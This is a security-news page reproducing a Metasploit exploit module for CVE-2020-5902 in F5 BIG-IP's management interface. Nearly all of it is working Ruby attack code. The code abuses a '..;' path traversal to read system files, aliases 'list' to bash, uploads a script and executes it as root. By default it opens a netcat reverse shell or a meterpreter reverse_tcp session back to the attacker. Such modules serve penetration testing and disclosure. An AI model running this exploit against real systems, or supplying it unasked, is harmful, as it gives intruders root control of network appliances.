Security
Headlines
HeadlinesLatestCVEs

Headline

F5 BIG-IP TMUI Directory Traversal / File Upload / Code Execution

This Metasploit module exploits a directory traversal in F5’s BIG-IP Traffic Management User Interface (TMUI) to upload a shell script and execute it as the Unix root user. Unix shell access is obtained by escaping the restricted Traffic Management Shell (TMSH). The escape may not be reliable, and you may have to run the exploit multiple times. Versions 11.6.1-11.6.5, 12.1.0-12.1.5, 13.1.0-13.1.3, 14.1.0-14.1.2, 15.0.0, and 15.1.0 are known to be vulnerable. Fixes were introduced in 11.6.5.2, 12.1.5.2, 13.1.3.4, 14.1.2.6, and 15.1.0.4. Tested against the VMware OVA release of 14.1.2.

Packet Storm
#vulnerability#linux#js#git#java#rce#vmware#auth#ssl
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = AverageRanking  prepend Msf::Exploit::Remote::AutoCheck  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::CmdStager  include Msf::Exploit::FileDropper  include Msf::Exploit::Deprecated  moved_from 'exploit/linux/http/f5_bigip_tmui_rce'  def initialize(info = {})    super(      update_info(        info,        'Name' => 'F5 BIG-IP TMUI Directory Traversal and File Upload RCE',        'Description' => %q{          This module exploits a directory traversal in F5's BIG-IP Traffic          Management User Interface (TMUI) to upload a shell script and execute          it as the Unix root user.          Unix shell access is obtained by escaping the restricted Traffic          Management Shell (TMSH). The escape may not be reliable, and you may          have to run the exploit multiple times. Sorry!          Versions 11.6.1-11.6.5, 12.1.0-12.1.5, 13.1.0-13.1.3, 14.1.0-14.1.2,          15.0.0, and 15.1.0 are known to be vulnerable. Fixes were introduced          in 11.6.5.2, 12.1.5.2, 13.1.3.4, 14.1.2.6, and 15.1.0.4.          Tested against the VMware OVA release of 14.1.2.        },        'Author' => [          'Mikhail Klyuchnikov', # Discovery          'wvu' # Analysis and exploit        ],        'References' => [          ['CVE', '2020-5902'],          ['URL', 'https://support.f5.com/csp/article/K52145254'],          ['URL', 'https://www.ptsecurity.com/ww-en/about/news/f5-fixes-critical-vulnerability-discovered-by-positive-technologies-in-big-ip-application-delivery-controller/']        ],        'DisclosureDate' => '2020-06-30', # Vendor advisory        'License' => MSF_LICENSE,        'Platform' => ['unix', 'linux'],        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],        'Privileged' => true,        'Targets' => [          [            'Unix Command',            {              'Platform' => 'unix',              'Arch' => ARCH_CMD,              'Type' => :unix_cmd,              'DefaultOptions' => {                'PAYLOAD' => 'cmd/unix/reverse_netcat_gaping'              }            }          ],          [            'Linux Dropper',            {              'Platform' => 'linux',              'Arch' => [ARCH_X86, ARCH_X64],              'Type' => :linux_dropper,              'DefaultOptions' => {                'CMDSTAGER::FLAVOR' => :bourne,                'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'              }            }          ]        ],        'DefaultTarget' => 1,        'DefaultOptions' => {          'SSL' => true,          'WfsDelay' => 5        },        'Notes' => {          'Stability' => [SERVICE_RESOURCE_LOSS], # May disrupt the service          'Reliability' => [UNRELIABLE_SESSION], # Seems a little finicky          'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES, ARTIFACTS_ON_DISK]        }      )    )    register_options([      Opt::RPORT(443),      OptString.new('TARGETURI', [true, 'Base path', '/'])    ])    register_advanced_options([      OptString.new('WritableDir', [true, 'Writable directory', '/tmp'])    ])  end  def check    res = send_request_cgi(      'method' => 'POST',      'uri' => dir_trav('/tmui/locallb/workspace/fileRead.jsp'),      'vars_post' => {        'fileName' => '/etc/f5-release'      }    )    unless res      return CheckCode::Unknown('Target did not respond to check.')    end    unless res.code == 200 && /BIG-IP release (?<version>[\d.]+)/ =~ res.body      return CheckCode::Safe('Target did not respond with BIG-IP version.')    end    # If we got here, the directory traversal was successful    CheckCode::Vulnerable("Target is running BIG-IP #{version}.")  end  def exploit    create_alias    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")    case target['Type']    when :unix_cmd      execute_command(payload.encoded)    when :linux_dropper      execute_cmdstager(temp: datastore['WritableDir'])    end  ensure    delete_alias if @created_alias  end  def create_alias    print_status('Creating alias list=bash')    res = send_request_cgi(      'method' => 'POST',      'uri' => dir_trav('/tmui/locallb/workspace/tmshCmd.jsp'),      'vars_post' => {        'command' => 'create cli alias private list command bash'      }    )    if res.nil? || (error = parse_error(res))      case error      when /private "list" \(list\) already exists/        print_error('Alias "list" already exists, deleting it')        delete_alias        # Try to create the alias again        return create_alias      when /java\.lang\.NullPointerException/        print_error('Encountered java.lang.NullPointerException, retrying!')        # XXX: Try to create the alias until we're successful        return create_alias      end      fail_with(Failure::UnexpectedReply,                "Failed to create alias list=bash#{error}")    end    @created_alias = true    print_good('Successfully created alias list=bash')  end  def execute_command(cmd, _opts = {})    vprint_status("Executing command: #{cmd}")    upload_script(cmd)    execute_script  end  def upload_script(cmd)    print_status("Uploading #{script_path}")    res = send_request_cgi(      'method' => 'POST',      'uri' => dir_trav('/tmui/locallb/workspace/fileSave.jsp'),      'vars_post' => {        'fileName' => script_path,        'content' => cmd      }    )    if res.nil? || (error = parse_error(res))      fail_with(Failure::UnexpectedReply,                "Failed to upload #{script_path}#{error}")    end    register_file_for_cleanup(script_path)    print_good("Successfully uploaded #{script_path}")  end  def execute_script    print_status("Executing #{script_path}")    res = send_request_cgi({      'method' => 'POST',      'uri' => dir_trav('/tmui/locallb/workspace/tmshCmd.jsp'),      'vars_post' => {        'command' => "list #{script_path}"      }    }, 3.5)    # No response may mean the service is blocking on payload execution    return unless res && (error = parse_error(res))    case error    when /unexpected argument/      print_error('Alias "list" does not exist, attempting to create it again')      create_alias      # Try to execute the script again... smdh      return execute_script    when /java\.lang\.NullPointerException/      print_error('Encountered java.lang.NullPointerException, retrying!')      # XXX: Try to execute the script until we're successful      return execute_script    end    print_error("Failed to execute #{script_path}#{error}")  end  def delete_alias    print_status('Deleting alias list=bash')    res = send_request_cgi(      'method' => 'POST',      'uri' => dir_trav('/tmui/locallb/workspace/tmshCmd.jsp'),      'vars_post' => {        'command' => 'delete cli alias private list'      }    )    if res.nil? || (error = parse_error(res))      case error      when /user alias \(list admin\) was not found/        print_good('Alias "list" does not exist or was already deleted')        return      when /java\.lang\.NullPointerException/        print_error('Encountered java.lang.NullPointerException, retrying!')        # XXX: Try to delete the alias until we're successful        return delete_alias      end      print_warning("Failed to delete alias list=bash#{error}")      return    end    print_good('Successfully deleted alias list=bash')  end  def parse_error(res)    return unless res    error =      case res.code      when 200        res.get_json_document['error']      when 500        # This is usually a java.lang.NullPointerException stack trace        res.get_html_document.at('//pre')&.text      else        res.body      end    return if error.blank?    ":\n#{error.strip}"  end  def dir_trav(path)    # PoC courtesy of the referenced F5 advisory: <LocationMatch ".*\.\.;.*">    normalize_uri(target_uri.path, '/tmui/login.jsp/..;', path)  end  def script_path    @script_path ||=      normalize_uri(datastore['WritableDir'], rand_text_alphanumeric(8..42))  endend

Packet Storm: Latest News

Acronis Cyber Protect/Backup Remote Code Execution